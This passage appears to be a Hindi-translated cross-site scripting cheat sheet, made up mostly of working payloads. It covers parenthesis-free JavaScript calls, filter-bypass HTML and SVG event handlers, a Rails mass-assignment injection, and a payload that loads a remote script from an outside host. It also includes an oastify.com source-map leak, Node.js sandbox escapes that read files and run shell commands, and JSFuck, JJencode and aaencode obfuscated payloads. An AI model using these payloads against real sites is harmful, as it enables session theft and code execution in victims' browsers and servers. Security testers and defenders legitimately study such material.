eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript एक कमेंट के अंदर
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript बिना कोष्ठकों
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
किसी भी फ़ंक्शन (alert) को कॉल करना
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
ऐसा JS code मौजूद है जो attacker द्वारा नियंत्रित असुरक्षित डेटा का उपयोग कर रहा है, जैसे location.href। एक attacker इसका दुरुपयोग करके arbitrary JS code चला सकता है।
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
वहाँ आपको DOM vulnerabilities क्या हैं, वे कैसे उत्पन्न होते हैं, और उन्हें कैसे exploit किया जा सकता है — इसका विस्तृत व्याख्या मिलेगा।
इसके अलावा, मत भूलिए कि उल्लेखित पोस्ट के अंत में आप DOM Clobbering attacks के बारे में व्याख्या पा सकते हैं।
Upgrading Self-XSS
Cookie XSS
अगर आप cookie के अंदर payload भेजकर XSS trigger कर सकते हैं, तो यह आमतौर पर self-XSS होता है।
हालाँकि, अगर आप किसी XSS के लिए vulnerable subdomain पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे domain में cookie inject कर सकते हैं और main domain या अन्य subdomains (जो cookie XSS के लिए vulnerable हैं) में cookie XSS trigger करवा सकते हैं। इसके लिए आप cookie tossing attack का उपयोग कर सकते हैं:
आप इस तकनीक के एक शानदार दुरुपयोग को this blog post में देख सकते हैं।
Sending your session to the admin
शायद कोई user अपना profile admin के साथ share कर सकता है, और अगर user के profile में self XSS मौजूद है और admin उसे access करता है, तो वह कमज़ोरी trigger कर देगा।
Session Mirroring
यदि आप कुछ self XSS पाते हैं और वेब पेज में administrators के लिए session mirroring है — उदाहरण के तौर पर clients को मदद मांगने की सुविधा ताकि admin आपकी session में जो देख रहा है वही अपने session से देख सके — तो आप administrator को अपने self XSS को trigger करवाने के लिए प्रेरित कर सकते हैं और उसकी cookies/session चुरा सकते हैं।
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
जब कोई web app Emscripten/WASM का उपयोग करता है, constant strings (जैसे HTML format stubs) writable linear memory में रहती हैं। एक single in‑WASM overflow (उदाहरण के लिए, edit path में unchecked memcpy) आसन्न structures को corrupt कर सकता है और उन constants पर writes redirect कर सकता है। किसी template को overwrite करना, जैसे "" में बदलना, sanitized input को एक JavaScript handler value में बदल देता है और render पर तुरंत DOM XSS दे देता है।
समर्पित पृष्ठ देखें जिसमें exploitation workflow, DevTools memory helpers, और defenses शामिल हैं:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
आप यह जांच सकते हैं कि क्या reflected values server (या client side) में unicode normalized किए जा रहे हैं और इस functionality का दुरुपयोग करके protections bypass किया जा सकता है। Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
क्योंकि RoR mass assignment के कारण HTML में quotes डाले जाते हैं और फिर quote restriction बायपास हो जाता है तथा अतिरिक्त fields (onfocus) टैग के अंदर जोड़े जा सकते हैं।
फ़ॉर्म का उदाहरण (from this report), यदि आप payload भेजते हैं:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
युग्म "Key","Value" इस तरह echo होकर वापस दिखेगा:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
फिर, onfocus attribute डाल दिया जाएगा और XSS घटित हो जाएगा।
विशेष संयोजन
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
यदि आप यह पता लगाते हैं कि आप inject headers in a 302 Redirect response कर सकते हैं तो आप कोशिश कर सकते हैं कि make the browser execute arbitrary JavaScript। यह not trivial है क्योंकि आधुनिक ब्राउज़र HTTP response status code 302 होने पर HTTP response body की व्याख्या नहीं करते, इसलिए सिर्फ एक cross-site scripting payload बेकार है।
In this report and this one आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल कैसे टेस्ट कर सकते हैं और देख सकते हैं कि कौन सा ब्राउज़र को बॉडी के अंदर के XSS payload को inspect और execute करने देता है।
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
केवल अक्षर, संख्या और डॉट्स
अगर आप उन कैरेक्टर्स तक सीमित callback इंगित कर पाने में सक्षम हैं जिन्हें javascript execute करने वाला है तो यह उपयोगी हो सकता है। इस व्यवहार का दुरुपयोग कैसे करना है, यह जानने के लिए Read this section of this post देखें।
Valid <script> Content-Types to XSS
(From here) यदि आप किसी स्क्रिप्ट को ऐसे content-type के साथ लोड करने की कोशिश करते हैं जैसे application/octet-stream, तो Chrome निम्न त्रुटि देगा:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
केवल वही Content-Types जो Chrome को एक loaded script चलाने के लिए सपोर्ट करेंगे, वे हैं जो const kSupportedJavascriptTypes के अंदर सूचीबद्ध हैं, देखें: https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(स्रोत: here) तो, script लोड करने के लिए किन प्रकारों को निर्दिष्ट किया जा सकता है?
<script type="???"></script>
- module (डिफ़ॉल्ट, बताने जैसा कुछ नहीं)
- webbundle: Web Bundles एक फीचर है जो आपको कई डेटा (HTML, CSS, JS…) को एक साथ पैकेज करके एक
.wbnफ़ाइल में रखने देता है.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import syntax को बेहतर बनाने की अनुमति देता है
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
यह व्यवहार this writeup में एक लाइब्रेरी को eval पर remap करने के लिए उपयोग किया गया था ताकि इसे abuse करके XSS ट्रिगर किया जा सके।
- speculationrules: यह फीचर मुख्य रूप से pre-rendering से उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
वेब Content-Types से XSS
(From here) निम्नलिखित content types सभी ब्राउज़रों में XSS निष्पादित कर सकते हैं:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे एक CTF में देखा था)
- application/rss+xml (off)
- application/atom+xml (off)
कुछ अन्य ब्राउज़रों में अन्य Content-Types का उपयोग arbitrary JS चलाने के लिए किया जा सकता है; देखें: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
यदि पृष्ठ text/xml content-type लौटाता है तो namespace इंगित करके arbitrary JS चलाना संभव है:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
विशेष प्रतिस्थापन पैटर्न
जब कुछ इस तरह "some {{template}} data".replace("{{template}}", <user_input>) उपयोग किया जाता है। attacker special string replacements का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
यदि आपके पास उपयोग करने के लिए केवल सीमित सेट के chars हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों की जाँच करें:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
यदि untrusted code को निष्पादित करने से पहले everything is undefined है (जैसे this writeup), तो 'कुछ भी नहीं' से उपयोगी ऑब्जेक्ट बनाकर arbitrary untrusted code के निष्पादन का दुरुपयोग करना संभव है:
- import() का उपयोग करके
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
requireको अप्रत्यक्ष रूप से एक्सेस करना
According to this Node.js द्वारा मॉड्यूल्स को एक फ़ंक्शन के भीतर रैप किया जाता है, जैसे:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
इसलिए, यदि उस मॉड्यूल से हम किसी अन्य फ़ंक्शन को कॉल कर सकें, तो उस फ़ंक्शन से arguments.callee.caller.arguments[1] का उपयोग करके require तक पहुँच संभव है:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
पिछले उदाहरण की तरह, त्रुटि हैंडलर्स का उपयोग करके मॉड्यूल के wrapper तक पहुँचकर require फ़ंक्शन प्राप्त किया जा सकता है:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- एक ही पृष्ठ पर विभिन्न obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- अधिक परिष्कृत JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS सामान्य payloads
एक में कई payloads
Iframe Trap
